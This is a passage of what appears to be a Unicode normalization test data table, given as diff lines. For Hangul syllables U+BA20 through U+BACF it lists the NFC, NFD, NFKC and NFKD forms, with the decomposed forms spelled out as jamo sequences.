+{ source: [0xBA20], NFC: [0xBA20], NFD: [0x1106, 0x1164, 0x11AB], NFKC: [0xBA20], NFKD: [0x1106, 0x1164, 0x11AB] },
+{ source: [0xBA21], NFC: [0xBA21], NFD: [0x1106, 0x1164, 0x11AC], NFKC: [0xBA21], NFKD: [0x1106, 0x1164, 0x11AC] },
+{ source: [0xBA22], NFC: [0xBA22], NFD: [0x1106, 0x1164, 0x11AD], NFKC: [0xBA22], NFKD: [0x1106, 0x1164, 0x11AD] },
+{ source: [0xBA23], NFC: [0xBA23], NFD: [0x1106, 0x1164, 0x11AE], NFKC: [0xBA23], NFKD: [0x1106, 0x1164, 0x11AE] },
+{ source: [0xBA24], NFC: [0xBA24], NFD: [0x1106, 0x1164, 0x11AF], NFKC: [0xBA24], NFKD: [0x1106, 0x1164, 0x11AF] },
+{ source: [0xBA25], NFC: [0xBA25], NFD: [0x1106, 0x1164, 0x11B0], NFKC: [0xBA25], NFKD: [0x1106, 0x1164, 0x11B0] },
+{ source: [0xBA26], NFC: [0xBA26], NFD: [0x1106, 0x1164, 0x11B1], NFKC: [0xBA26], NFKD: [0x1106, 0x1164, 0x11B1] },
+{ source: [0xBA27], NFC: [0xBA27], NFD: [0x1106, 0x1164, 0x11B2], NFKC: [0xBA27], NFKD: [0x1106, 0x1164, 0x11B2] },
+{ source: [0xBA28], NFC: [0xBA28], NFD: [0x1106, 0x1164, 0x11B3], NFKC: [0xBA28], NFKD: [0x1106, 0x1164, 0x11B3] },
+{ source: [0xBA29], NFC: [0xBA29], NFD: [0x1106, 0x1164, 0x11B4], NFKC: [0xBA29], NFKD: [0x1106, 0x1164, 0x11B4] },
+{ source: [0xBA2A], NFC: [0xBA2A], NFD: [0x1106, 0x1164, 0x11B5], NFKC: [0xBA2A], NFKD: [0x1106, 0x1164, 0x11B5] },
+{ source: [0xBA2B], NFC: [0xBA2B], NFD: [0x1106, 0x1164, 0x11B6], NFKC: [0xBA2B], NFKD: [0x1106, 0x1164, 0x11B6] },
+{ source: [0xBA2C], NFC: [0xBA2C], NFD: [0x1106, 0x1164, 0x11B7], NFKC: [0xBA2C], NFKD: [0x1106, 0x1164, 0x11B7] },
+{ source: [0xBA2D], NFC: [0xBA2D], NFD: [0x1106, 0x1164, 0x11B8], NFKC: [0xBA2D], NFKD: [0x1106, 0x1164, 0x11B8] },
+{ source: [0xBA2E], NFC: [0xBA2E], NFD: [0x1106, 0x1164, 0x11B9], NFKC: [0xBA2E], NFKD: [0x1106, 0x1164, 0x11B9] },
+{ source: [0xBA2F], NFC: [0xBA2F], NFD: [0x1106, 0x1164, 0x11BA], NFKC: [0xBA2F], NFKD: [0x1106, 0x1164, 0x11BA] },
+{ source: [0xBA30], NFC: [0xBA30], NFD: [0x1106, 0x1164, 0x11BB], NFKC: [0xBA30], NFKD: [0x1106, 0x1164, 0x11BB] },
+{ source: [0xBA31], NFC: [0xBA31], NFD: [0x1106, 0x1164, 0x11BC], NFKC: [0xBA31], NFKD: [0x1106, 0x1164, 0x11BC] },
+{ source: [0xBA32], NFC: [0xBA32], NFD: [0x1106, 0x1164, 0x11BD], NFKC: [0xBA32], NFKD: [0x1106, 0x1164, 0x11BD] },
+{ source: [0xBA33], NFC: [0xBA33], NFD: [0x1106, 0x1164, 0x11BE], NFKC: [0xBA33], NFKD: [0x1106, 0x1164, 0x11BE] },
+{ source: [0xBA34], NFC: [0xBA34], NFD: [0x1106, 0x1164, 0x11BF], NFKC: [0xBA34], NFKD: [0x1106, 0x1164, 0x11BF] },
+{ source: [0xBA35], NFC: [0xBA35], NFD: [0x1106, 0x1164, 0x11C0], NFKC: [0xBA35], NFKD: [0x1106, 0x1164, 0x11C0] },
+{ source: [0xBA36], NFC: [0xBA36], NFD: [0x1106, 0x1164, 0x11C1], NFKC: [0xBA36], NFKD: [0x1106, 0x1164, 0x11C1] },
+{ source: [0xBA37], NFC: [0xBA37], NFD: [0x1106, 0x1164, 0x11C2], NFKC: [0xBA37], NFKD: [0x1106, 0x1164, 0x11C2] },
+{ source: [0xBA38], NFC: [0xBA38], NFD: [0x1106, 0x1165], NFKC: [0xBA38], NFKD: [0x1106, 0x1165] },
+{ source: [0xBA39], NFC: [0xBA39], NFD: [0x1106, 0x1165, 0x11A8], NFKC: [0xBA39], NFKD: [0x1106, 0x1165, 0x11A8] },
+{ source: [0xBA3A], NFC: [0xBA3A], NFD: [0x1106, 0x1165, 0x11A9], NFKC: [0xBA3A], NFKD: [0x1106, 0x1165, 0x11A9] },
+{ source: [0xBA3B], NFC: [0xBA3B], NFD: [0x1106, 0x1165, 0x11AA], NFKC: [0xBA3B], NFKD: [0x1106, 0x1165, 0x11AA] },
+{ source: [0xBA3C], NFC: [0xBA3C], NFD: [0x1106, 0x1165, 0x11AB], NFKC: [0xBA3C], NFKD: [0x1106, 0x1165, 0x11AB] },
+{ source: [0xBA3D], NFC: [0xBA3D], NFD: [0x1106, 0x1165, 0x11AC], NFKC: [0xBA3D], NFKD: [0x1106, 0x1165, 0x11AC] },
+{ source: [0xBA3E], NFC: [0xBA3E], NFD: [0x1106, 0x1165, 0x11AD], NFKC: [0xBA3E], NFKD: [0x1106, 0x1165, 0x11AD] },
+{ source: [0xBA3F], NFC: [0xBA3F], NFD: [0x1106, 0x1165, 0x11AE], NFKC: [0xBA3F], NFKD: [0x1106, 0x1165, 0x11AE] },
+{ source: [0xBA40], NFC: [0xBA40], NFD: [0x1106, 0x1165, 0x11AF], NFKC: [0xBA40], NFKD: [0x1106, 0x1165, 0x11AF] },
+{ source: [0xBA41], NFC: [0xBA41], NFD: [0x1106, 0x1165, 0x11B0], NFKC: [0xBA41], NFKD: [0x1106, 0x1165, 0x11B0] },
+{ source: [0xBA42], NFC: [0xBA42], NFD: [0x1106, 0x1165, 0x11B1], NFKC: [0xBA42], NFKD: [0x1106, 0x1165, 0x11B1] },
+{ source: [0xBA43], NFC: [0xBA43], NFD: [0x1106, 0x1165, 0x11B2], NFKC: [0xBA43], NFKD: [0x1106, 0x1165, 0x11B2] },
+{ source: [0xBA44], NFC: [0xBA44], NFD: [0x1106, 0x1165, 0x11B3], NFKC: [0xBA44], NFKD: [0x1106, 0x1165, 0x11B3] },
+{ source: [0xBA45], NFC: [0xBA45], NFD: [0x1106, 0x1165, 0x11B4], NFKC: [0xBA45], NFKD: [0x1106, 0x1165, 0x11B4] },
+{ source: [0xBA46], NFC: [0xBA46], NFD: [0x1106, 0x1165, 0x11B5], NFKC: [0xBA46], NFKD: [0x1106, 0x1165, 0x11B5] },
+{ source: [0xBA47], NFC: [0xBA47], NFD: [0x1106, 0x1165, 0x11B6], NFKC: [0xBA47], NFKD: [0x1106, 0x1165, 0x11B6] },
+{ source: [0xBA48], NFC: [0xBA48], NFD: [0x1106, 0x1165, 0x11B7], NFKC: [0xBA48], NFKD: [0x1106, 0x1165, 0x11B7] },
+{ source: [0xBA49], NFC: [0xBA49], NFD: [0x1106, 0x1165, 0x11B8], NFKC: [0xBA49], NFKD: [0x1106, 0x1165, 0x11B8] },
+{ source: [0xBA4A], NFC: [0xBA4A], NFD: [0x1106, 0x1165, 0x11B9], NFKC: [0xBA4A], NFKD: [0x1106, 0x1165, 0x11B9] },
+{ source: [0xBA4B], NFC: [0xBA4B], NFD: [0x1106, 0x1165, 0x11BA], NFKC: [0xBA4B], NFKD: [0x1106, 0x1165, 0x11BA] },
+{ source: [0xBA4C], NFC: [0xBA4C], NFD: [0x1106, 0x1165, 0x11BB], NFKC: [0xBA4C], NFKD: [0x1106, 0x1165, 0x11BB] },
+{ source: [0xBA4D], NFC: [0xBA4D], NFD: [0x1106, 0x1165, 0x11BC], NFKC: [0xBA4D], NFKD: [0x1106, 0x1165, 0x11BC] },
+{ source: [0xBA4E], NFC: [0xBA4E], NFD: [0x1106, 0x1165, 0x11BD], NFKC: [0xBA4E], NFKD: [0x1106, 0x1165, 0x11BD] },
+{ source: [0xBA4F], NFC: [0xBA4F], NFD: [0x1106, 0x1165, 0x11BE], NFKC: [0xBA4F], NFKD: [0x1106, 0x1165, 0x11BE] },
+{ source: [0xBA50], NFC: [0xBA50], NFD: [0x1106, 0x1165, 0x11BF], NFKC: [0xBA50], NFKD: [0x1106, 0x1165, 0x11BF] },
+{ source: [0xBA51], NFC: [0xBA51], NFD: [0x1106, 0x1165, 0x11C0], NFKC: [0xBA51], NFKD: [0x1106, 0x1165, 0x11C0] },
+{ source: [0xBA52], NFC: [0xBA52], NFD: [0x1106, 0x1165, 0x11C1], NFKC: [0xBA52], NFKD: [0x1106, 0x1165, 0x11C1] },
+{ source: [0xBA53], NFC: [0xBA53], NFD: [0x1106, 0x1165, 0x11C2], NFKC: [0xBA53], NFKD: [0x1106, 0x1165, 0x11C2] },
+{ source: [0xBA54], NFC: [0xBA54], NFD: [0x1106, 0x1166], NFKC: [0xBA54], NFKD: [0x1106, 0x1166] },
+{ source: [0xBA55], NFC: [0xBA55], NFD: [0x1106, 0x1166, 0x11A8], NFKC: [0xBA55], NFKD: [0x1106, 0x1166, 0x11A8] },
+{ source: [0xBA56], NFC: [0xBA56], NFD: [0x1106, 0x1166, 0x11A9], NFKC: [0xBA56], NFKD: [0x1106, 0x1166, 0x11A9] },
+{ source: [0xBA57], NFC: [0xBA57], NFD: [0x1106, 0x1166, 0x11AA], NFKC: [0xBA57], NFKD: [0x1106, 0x1166, 0x11AA] },
+{ source: [0xBA58], NFC: [0xBA58], NFD: [0x1106, 0x1166, 0x11AB], NFKC: [0xBA58], NFKD: [0x1106, 0x1166, 0x11AB] },
+{ source: [0xBA59], NFC: [0xBA59], NFD: [0x1106, 0x1166, 0x11AC], NFKC: [0xBA59], NFKD: [0x1106, 0x1166, 0x11AC] },
+{ source: [0xBA5A], NFC: [0xBA5A], NFD: [0x1106, 0x1166, 0x11AD], NFKC: [0xBA5A], NFKD: [0x1106, 0x1166, 0x11AD] },
+{ source: [0xBA5B], NFC: [0xBA5B], NFD: [0x1106, 0x1166, 0x11AE], NFKC: [0xBA5B], NFKD: [0x1106, 0x1166, 0x11AE] },
+{ source: [0xBA5C], NFC: [0xBA5C], NFD: [0x1106, 0x1166, 0x11AF], NFKC: [0xBA5C], NFKD: [0x1106, 0x1166, 0x11AF] },
+{ source: [0xBA5D], NFC: [0xBA5D], NFD: [0x1106, 0x1166, 0x11B0], NFKC: [0xBA5D], NFKD: [0x1106, 0x1166, 0x11B0] },
+{ source: [0xBA5E], NFC: [0xBA5E], NFD: [0x1106, 0x1166, 0x11B1], NFKC: [0xBA5E], NFKD: [0x1106, 0x1166, 0x11B1] },
+{ source: [0xBA5F], NFC: [0xBA5F], NFD: [0x1106, 0x1166, 0x11B2], NFKC: [0xBA5F], NFKD: [0x1106, 0x1166, 0x11B2] },
+{ source: [0xBA60], NFC: [0xBA60], NFD: [0x1106, 0x1166, 0x11B3], NFKC: [0xBA60], NFKD: [0x1106, 0x1166, 0x11B3] },
+{ source: [0xBA61], NFC: [0xBA61], NFD: [0x1106, 0x1166, 0x11B4], NFKC: [0xBA61], NFKD: [0x1106, 0x1166, 0x11B4] },
+{ source: [0xBA62], NFC: [0xBA62], NFD: [0x1106, 0x1166, 0x11B5], NFKC: [0xBA62], NFKD: [0x1106, 0x1166, 0x11B5] },
+{ source: [0xBA63], NFC: [0xBA63], NFD: [0x1106, 0x1166, 0x11B6], NFKC: [0xBA63], NFKD: [0x1106, 0x1166, 0x11B6] },
+{ source: [0xBA64], NFC: [0xBA64], NFD: [0x1106, 0x1166, 0x11B7], NFKC: [0xBA64], NFKD: [0x1106, 0x1166, 0x11B7] },
+{ source: [0xBA65], NFC: [0xBA65], NFD: [0x1106, 0x1166, 0x11B8], NFKC: [0xBA65], NFKD: [0x1106, 0x1166, 0x11B8] },
+{ source: [0xBA66], NFC: [0xBA66], NFD: [0x1106, 0x1166, 0x11B9], NFKC: [0xBA66], NFKD: [0x1106, 0x1166, 0x11B9] },
+{ source: [0xBA67], NFC: [0xBA67], NFD: [0x1106, 0x1166, 0x11BA], NFKC: [0xBA67], NFKD: [0x1106, 0x1166, 0x11BA] },
+{ source: [0xBA68], NFC: [0xBA68], NFD: [0x1106, 0x1166, 0x11BB], NFKC: [0xBA68], NFKD: [0x1106, 0x1166, 0x11BB] },
+{ source: [0xBA69], NFC: [0xBA69], NFD: [0x1106, 0x1166, 0x11BC], NFKC: [0xBA69], NFKD: [0x1106, 0x1166, 0x11BC] },
+{ source: [0xBA6A], NFC: [0xBA6A], NFD: [0x1106, 0x1166, 0x11BD], NFKC: [0xBA6A], NFKD: [0x1106, 0x1166, 0x11BD] },
+{ source: [0xBA6B], NFC: [0xBA6B], NFD: [0x1106, 0x1166, 0x11BE], NFKC: [0xBA6B], NFKD: [0x1106, 0x1166, 0x11BE] },
+{ source: [0xBA6C], NFC: [0xBA6C], NFD: [0x1106, 0x1166, 0x11BF], NFKC: [0xBA6C], NFKD: [0x1106, 0x1166, 0x11BF] },
+{ source: [0xBA6D], NFC: [0xBA6D], NFD: [0x1106, 0x1166, 0x11C0], NFKC: [0xBA6D], NFKD: [0x1106, 0x1166, 0x11C0] },
+{ source: [0xBA6E], NFC: [0xBA6E], NFD: [0x1106, 0x1166, 0x11C1], NFKC: [0xBA6E], NFKD: [0x1106, 0x1166, 0x11C1] },
+{ source: [0xBA6F], NFC: [0xBA6F], NFD: [0x1106, 0x1166, 0x11C2], NFKC: [0xBA6F], NFKD: [0x1106, 0x1166, 0x11C2] },
+{ source: [0xBA70], NFC: [0xBA70], NFD: [0x1106, 0x1167], NFKC: [0xBA70], NFKD: [0x1106, 0x1167] },
+{ source: [0xBA71], NFC: [0xBA71], NFD: [0x1106, 0x1167, 0x11A8], NFKC: [0xBA71], NFKD: [0x1106, 0x1167, 0x11A8] },
+{ source: [0xBA72], NFC: [0xBA72], NFD: [0x1106, 0x1167, 0x11A9], NFKC: [0xBA72], NFKD: [0x1106, 0x1167, 0x11A9] },
+{ source: [0xBA73], NFC: [0xBA73], NFD: [0x1106, 0x1167, 0x11AA], NFKC: [0xBA73], NFKD: [0x1106, 0x1167, 0x11AA] },
+{ source: [0xBA74], NFC: [0xBA74], NFD: [0x1106, 0x1167, 0x11AB], NFKC: [0xBA74], NFKD: [0x1106, 0x1167, 0x11AB] },
+{ source: [0xBA75], NFC: [0xBA75], NFD: [0x1106, 0x1167, 0x11AC], NFKC: [0xBA75], NFKD: [0x1106, 0x1167, 0x11AC] },
+{ source: [0xBA76], NFC: [0xBA76], NFD: [0x1106, 0x1167, 0x11AD], NFKC: [0xBA76], NFKD: [0x1106, 0x1167, 0x11AD] },
+{ source: [0xBA77], NFC: [0xBA77], NFD: [0x1106, 0x1167, 0x11AE], NFKC: [0xBA77], NFKD: [0x1106, 0x1167, 0x11AE] },
+{ source: [0xBA78], NFC: [0xBA78], NFD: [0x1106, 0x1167, 0x11AF], NFKC: [0xBA78], NFKD: [0x1106, 0x1167, 0x11AF] },
+{ source: [0xBA79], NFC: [0xBA79], NFD: [0x1106, 0x1167, 0x11B0], NFKC: [0xBA79], NFKD: [0x1106, 0x1167, 0x11B0] },
+{ source: [0xBA7A], NFC: [0xBA7A], NFD: [0x1106, 0x1167, 0x11B1], NFKC: [0xBA7A], NFKD: [0x1106, 0x1167, 0x11B1] },
+{ source: [0xBA7B], NFC: [0xBA7B], NFD: [0x1106, 0x1167, 0x11B2], NFKC: [0xBA7B], NFKD: [0x1106, 0x1167, 0x11B2] },
+{ source: [0xBA7C], NFC: [0xBA7C], NFD: [0x1106, 0x1167, 0x11B3], NFKC: [0xBA7C], NFKD: [0x1106, 0x1167, 0x11B3] },
+{ source: [0xBA7D], NFC: [0xBA7D], NFD: [0x1106, 0x1167, 0x11B4], NFKC: [0xBA7D], NFKD: [0x1106, 0x1167, 0x11B4] },
+{ source: [0xBA7E], NFC: [0xBA7E], NFD: [0x1106, 0x1167, 0x11B5], NFKC: [0xBA7E], NFKD: [0x1106, 0x1167, 0x11B5] },
+{ source: [0xBA7F], NFC: [0xBA7F], NFD: [0x1106, 0x1167, 0x11B6], NFKC: [0xBA7F], NFKD: [0x1106, 0x1167, 0x11B6] },
+{ source: [0xBA80], NFC: [0xBA80], NFD: [0x1106, 0x1167, 0x11B7], NFKC: [0xBA80], NFKD: [0x1106, 0x1167, 0x11B7] },
+{ source: [0xBA81], NFC: [0xBA81], NFD: [0x1106, 0x1167, 0x11B8], NFKC: [0xBA81], NFKD: [0x1106, 0x1167, 0x11B8] },
+{ source: [0xBA82], NFC: [0xBA82], NFD: [0x1106, 0x1167, 0x11B9], NFKC: [0xBA82], NFKD: [0x1106, 0x1167, 0x11B9] },
+{ source: [0xBA83], NFC: [0xBA83], NFD: [0x1106, 0x1167, 0x11BA], NFKC: [0xBA83], NFKD: [0x1106, 0x1167, 0x11BA] },
+{ source: [0xBA84], NFC: [0xBA84], NFD: [0x1106, 0x1167, 0x11BB], NFKC: [0xBA84], NFKD: [0x1106, 0x1167, 0x11BB] },
+{ source: [0xBA85], NFC: [0xBA85], NFD: [0x1106, 0x1167, 0x11BC], NFKC: [0xBA85], NFKD: [0x1106, 0x1167, 0x11BC] },
+{ source: [0xBA86], NFC: [0xBA86], NFD: [0x1106, 0x1167, 0x11BD], NFKC: [0xBA86], NFKD: [0x1106, 0x1167, 0x11BD] },
+{ source: [0xBA87], NFC: [0xBA87], NFD: [0x1106, 0x1167, 0x11BE], NFKC: [0xBA87], NFKD: [0x1106, 0x1167, 0x11BE] },
+{ source: [0xBA88], NFC: [0xBA88], NFD: [0x1106, 0x1167, 0x11BF], NFKC: [0xBA88], NFKD: [0x1106, 0x1167, 0x11BF] },
+{ source: [0xBA89], NFC: [0xBA89], NFD: [0x1106, 0x1167, 0x11C0], NFKC: [0xBA89], NFKD: [0x1106, 0x1167, 0x11C0] },
+{ source: [0xBA8A], NFC: [0xBA8A], NFD: [0x1106, 0x1167, 0x11C1], NFKC: [0xBA8A], NFKD: [0x1106, 0x1167, 0x11C1] },
+{ source: [0xBA8B], NFC: [0xBA8B], NFD: [0x1106, 0x1167, 0x11C2], NFKC: [0xBA8B], NFKD: [0x1106, 0x1167, 0x11C2] },
+{ source: [0xBA8C], NFC: [0xBA8C], NFD: [0x1106, 0x1168], NFKC: [0xBA8C], NFKD: [0x1106, 0x1168] },
+{ source: [0xBA8D], NFC: [0xBA8D], NFD: [0x1106, 0x1168, 0x11A8], NFKC: [0xBA8D], NFKD: [0x1106, 0x1168, 0x11A8] },
+{ source: [0xBA8E], NFC: [0xBA8E], NFD: [0x1106, 0x1168, 0x11A9], NFKC: [0xBA8E], NFKD: [0x1106, 0x1168, 0x11A9] },
+{ source: [0xBA8F], NFC: [0xBA8F], NFD: [0x1106, 0x1168, 0x11AA], NFKC: [0xBA8F], NFKD: [0x1106, 0x1168, 0x11AA] },
+{ source: [0xBA90], NFC: [0xBA90], NFD: [0x1106, 0x1168, 0x11AB], NFKC: [0xBA90], NFKD: [0x1106, 0x1168, 0x11AB] },
+{ source: [0xBA91], NFC: [0xBA91], NFD: [0x1106, 0x1168, 0x11AC], NFKC: [0xBA91], NFKD: [0x1106, 0x1168, 0x11AC] },
+{ source: [0xBA92], NFC: [0xBA92], NFD: [0x1106, 0x1168, 0x11AD], NFKC: [0xBA92], NFKD: [0x1106, 0x1168, 0x11AD] },
+{ source: [0xBA93], NFC: [0xBA93], NFD: [0x1106, 0x1168, 0x11AE], NFKC: [0xBA93], NFKD: [0x1106, 0x1168, 0x11AE] },
+{ source: [0xBA94], NFC: [0xBA94], NFD: [0x1106, 0x1168, 0x11AF], NFKC: [0xBA94], NFKD: [0x1106, 0x1168, 0x11AF] },
+{ source: [0xBA95], NFC: [0xBA95], NFD: [0x1106, 0x1168, 0x11B0], NFKC: [0xBA95], NFKD: [0x1106, 0x1168, 0x11B0] },
+{ source: [0xBA96], NFC: [0xBA96], NFD: [0x1106, 0x1168, 0x11B1], NFKC: [0xBA96], NFKD: [0x1106, 0x1168, 0x11B1] },
+{ source: [0xBA97], NFC: [0xBA97], NFD: [0x1106, 0x1168, 0x11B2], NFKC: [0xBA97], NFKD: [0x1106, 0x1168, 0x11B2] },
+{ source: [0xBA98], NFC: [0xBA98], NFD: [0x1106, 0x1168, 0x11B3], NFKC: [0xBA98], NFKD: [0x1106, 0x1168, 0x11B3] },
+{ source: [0xBA99], NFC: [0xBA99], NFD: [0x1106, 0x1168, 0x11B4], NFKC: [0xBA99], NFKD: [0x1106, 0x1168, 0x11B4] },
+{ source: [0xBA9A], NFC: [0xBA9A], NFD: [0x1106, 0x1168, 0x11B5], NFKC: [0xBA9A], NFKD: [0x1106, 0x1168, 0x11B5] },
+{ source: [0xBA9B], NFC: [0xBA9B], NFD: [0x1106, 0x1168, 0x11B6], NFKC: [0xBA9B], NFKD: [0x1106, 0x1168, 0x11B6] },
+{ source: [0xBA9C], NFC: [0xBA9C], NFD: [0x1106, 0x1168, 0x11B7], NFKC: [0xBA9C], NFKD: [0x1106, 0x1168, 0x11B7] },
+{ source: [0xBA9D], NFC: [0xBA9D], NFD: [0x1106, 0x1168, 0x11B8], NFKC: [0xBA9D], NFKD: [0x1106, 0x1168, 0x11B8] },
+{ source: [0xBA9E], NFC: [0xBA9E], NFD: [0x1106, 0x1168, 0x11B9], NFKC: [0xBA9E], NFKD: [0x1106, 0x1168, 0x11B9] },
+{ source: [0xBA9F], NFC: [0xBA9F], NFD: [0x1106, 0x1168, 0x11BA], NFKC: [0xBA9F], NFKD: [0x1106, 0x1168, 0x11BA] },
+{ source: [0xBAA0], NFC: [0xBAA0], NFD: [0x1106, 0x1168, 0x11BB], NFKC: [0xBAA0], NFKD: [0x1106, 0x1168, 0x11BB] },
+{ source: [0xBAA1], NFC: [0xBAA1], NFD: [0x1106, 0x1168, 0x11BC], NFKC: [0xBAA1], NFKD: [0x1106, 0x1168, 0x11BC] },
+{ source: [0xBAA2], NFC: [0xBAA2], NFD: [0x1106, 0x1168, 0x11BD], NFKC: [0xBAA2], NFKD: [0x1106, 0x1168, 0x11BD] },
+{ source: [0xBAA3], NFC: [0xBAA3], NFD: [0x1106, 0x1168, 0x11BE], NFKC: [0xBAA3], NFKD: [0x1106, 0x1168, 0x11BE] },
+{ source: [0xBAA4], NFC: [0xBAA4], NFD: [0x1106, 0x1168, 0x11BF], NFKC: [0xBAA4], NFKD: [0x1106, 0x1168, 0x11BF] },
+{ source: [0xBAA5], NFC: [0xBAA5], NFD: [0x1106, 0x1168, 0x11C0], NFKC: [0xBAA5], NFKD: [0x1106, 0x1168, 0x11C0] },
+{ source: [0xBAA6], NFC: [0xBAA6], NFD: [0x1106, 0x1168, 0x11C1], NFKC: [0xBAA6], NFKD: [0x1106, 0x1168, 0x11C1] },
+{ source: [0xBAA7], NFC: [0xBAA7], NFD: [0x1106, 0x1168, 0x11C2], NFKC: [0xBAA7], NFKD: [0x1106, 0x1168, 0x11C2] },
+{ source: [0xBAA8], NFC: [0xBAA8], NFD: [0x1106, 0x1169], NFKC: [0xBAA8], NFKD: [0x1106, 0x1169] },
+{ source: [0xBAA9], NFC: [0xBAA9], NFD: [0x1106, 0x1169, 0x11A8], NFKC: [0xBAA9], NFKD: [0x1106, 0x1169, 0x11A8] },
+{ source: [0xBAAA], NFC: [0xBAAA], NFD: [0x1106, 0x1169, 0x11A9], NFKC: [0xBAAA], NFKD: [0x1106, 0x1169, 0x11A9] },
+{ source: [0xBAAB], NFC: [0xBAAB], NFD: [0x1106, 0x1169, 0x11AA], NFKC: [0xBAAB], NFKD: [0x1106, 0x1169, 0x11AA] },
+{ source: [0xBAAC], NFC: [0xBAAC], NFD: [0x1106, 0x1169, 0x11AB], NFKC: [0xBAAC], NFKD: [0x1106, 0x1169, 0x11AB] },
+{ source: [0xBAAD], NFC: [0xBAAD], NFD: [0x1106, 0x1169, 0x11AC], NFKC: [0xBAAD], NFKD: [0x1106, 0x1169, 0x11AC] },
+{ source: [0xBAAE], NFC: [0xBAAE], NFD: [0x1106, 0x1169, 0x11AD], NFKC: [0xBAAE], NFKD: [0x1106, 0x1169, 0x11AD] },
+{ source: [0xBAAF], NFC: [0xBAAF], NFD: [0x1106, 0x1169, 0x11AE], NFKC: [0xBAAF], NFKD: [0x1106, 0x1169, 0x11AE] },
+{ source: [0xBAB0], NFC: [0xBAB0], NFD: [0x1106, 0x1169, 0x11AF], NFKC: [0xBAB0], NFKD: [0x1106, 0x1169, 0x11AF] },
+{ source: [0xBAB1], NFC: [0xBAB1], NFD: [0x1106, 0x1169, 0x11B0], NFKC: [0xBAB1], NFKD: [0x1106, 0x1169, 0x11B0] },
+{ source: [0xBAB2], NFC: [0xBAB2], NFD: [0x1106, 0x1169, 0x11B1], NFKC: [0xBAB2], NFKD: [0x1106, 0x1169, 0x11B1] },
+{ source: [0xBAB3], NFC: [0xBAB3], NFD: [0x1106, 0x1169, 0x11B2], NFKC: [0xBAB3], NFKD: [0x1106, 0x1169, 0x11B2] },
+{ source: [0xBAB4], NFC: [0xBAB4], NFD: [0x1106, 0x1169, 0x11B3], NFKC: [0xBAB4], NFKD: [0x1106, 0x1169, 0x11B3] },
+{ source: [0xBAB5], NFC: [0xBAB5], NFD: [0x1106, 0x1169, 0x11B4], NFKC: [0xBAB5], NFKD: [0x1106, 0x1169, 0x11B4] },
+{ source: [0xBAB6], NFC: [0xBAB6], NFD: [0x1106, 0x1169, 0x11B5], NFKC: [0xBAB6], NFKD: [0x1106, 0x1169, 0x11B5] },
+{ source: [0xBAB7], NFC: [0xBAB7], NFD: [0x1106, 0x1169, 0x11B6], NFKC: [0xBAB7], NFKD: [0x1106, 0x1169, 0x11B6] },
+{ source: [0xBAB8], NFC: [0xBAB8], NFD: [0x1106, 0x1169, 0x11B7], NFKC: [0xBAB8], NFKD: [0x1106, 0x1169, 0x11B7] },
+{ source: [0xBAB9], NFC: [0xBAB9], NFD: [0x1106, 0x1169, 0x11B8], NFKC: [0xBAB9], NFKD: [0x1106, 0x1169, 0x11B8] },
+{ source: [0xBABA], NFC: [0xBABA], NFD: [0x1106, 0x1169, 0x11B9], NFKC: [0xBABA], NFKD: [0x1106, 0x1169, 0x11B9] },
+{ source: [0xBABB], NFC: [0xBABB], NFD: [0x1106, 0x1169, 0x11BA], NFKC: [0xBABB], NFKD: [0x1106, 0x1169, 0x11BA] },
+{ source: [0xBABC], NFC: [0xBABC], NFD: [0x1106, 0x1169, 0x11BB], NFKC: [0xBABC], NFKD: [0x1106, 0x1169, 0x11BB] },
+{ source: [0xBABD], NFC: [0xBABD], NFD: [0x1106, 0x1169, 0x11BC], NFKC: [0xBABD], NFKD: [0x1106, 0x1169, 0x11BC] },
+{ source: [0xBABE], NFC: [0xBABE], NFD: [0x1106, 0x1169, 0x11BD], NFKC: [0xBABE], NFKD: [0x1106, 0x1169, 0x11BD] },
+{ source: [0xBABF], NFC: [0xBABF], NFD: [0x1106, 0x1169, 0x11BE], NFKC: [0xBABF], NFKD: [0x1106, 0x1169, 0x11BE] },
+{ source: [0xBAC0], NFC: [0xBAC0], NFD: [0x1106, 0x1169, 0x11BF], NFKC: [0xBAC0], NFKD: [0x1106, 0x1169, 0x11BF] },
+{ source: [0xBAC1], NFC: [0xBAC1], NFD: [0x1106, 0x1169, 0x11C0], NFKC: [0xBAC1], NFKD: [0x1106, 0x1169, 0x11C0] },
+{ source: [0xBAC2], NFC: [0xBAC2], NFD: [0x1106, 0x1169, 0x11C1], NFKC: [0xBAC2], NFKD: [0x1106, 0x1169, 0x11C1] },
+{ source: [0xBAC3], NFC: [0xBAC3], NFD: [0x1106, 0x1169, 0x11C2], NFKC: [0xBAC3], NFKD: [0x1106, 0x1169, 0x11C2] },
+{ source: [0xBAC4], NFC: [0xBAC4], NFD: [0x1106, 0x116A], NFKC: [0xBAC4], NFKD: [0x1106, 0x116A] },
+{ source: [0xBAC5], NFC: [0xBAC5], NFD: [0x1106, 0x116A, 0x11A8], NFKC: [0xBAC5], NFKD: [0x1106, 0x116A, 0x11A8] },
+{ source: [0xBAC6], NFC: [0xBAC6], NFD: [0x1106, 0x116A, 0x11A9], NFKC: [0xBAC6], NFKD: [0x1106, 0x116A, 0x11A9] },
+{ source: [0xBAC7], NFC: [0xBAC7], NFD: [0x1106, 0x116A, 0x11AA], NFKC: [0xBAC7], NFKD: [0x1106, 0x116A, 0x11AA] },
+{ source: [0xBAC8], NFC: [0xBAC8], NFD: [0x1106, 0x116A, 0x11AB], NFKC: [0xBAC8], NFKD: [0x1106, 0x116A, 0x11AB] },
+{ source: [0xBAC9], NFC: [0xBAC9], NFD: [0x1106, 0x116A, 0x11AC], NFKC: [0xBAC9], NFKD: [0x1106, 0x116A, 0x11AC] },
+{ source: [0xBACA], NFC: [0xBACA], NFD: [0x1106, 0x116A, 0x11AD], NFKC: [0xBACA], NFKD: [0x1106, 0x116A, 0x11AD] },
+{ source: [0xBACB], NFC: [0xBACB], NFD: [0x1106, 0x116A, 0x11AE], NFKC: [0xBACB], NFKD: [0x1106, 0x116A, 0x11AE] },
+{ source: [0xBACC], NFC: [0xBACC], NFD: [0x1106, 0x116A, 0x11AF], NFKC: [0xBACC], NFKD: [0x1106, 0x116A, 0x11AF] },
+{ source: [0xBACD], NFC: [0xBACD], NFD: [0x1106, 0x116A, 0x11B0], NFKC: [0xBACD], NFKD: [0x1106, 0x116A, 0x11B0] },
+{ source: [0xBACE], NFC: [0xBACE], NFD: [0x1106, 0x116A, 0x11B1], NFKC: [0xBACE], NFKD: [0x1106, 0x116A, 0x11B1] },
+{ source: [0xBACF], NFC: [0xBACF], NFD: [0x1106, 0x116A, 0x11B2], NFKC: [0xBACF], NFKD: [0x1106, 0x116A, 0x11B2] },
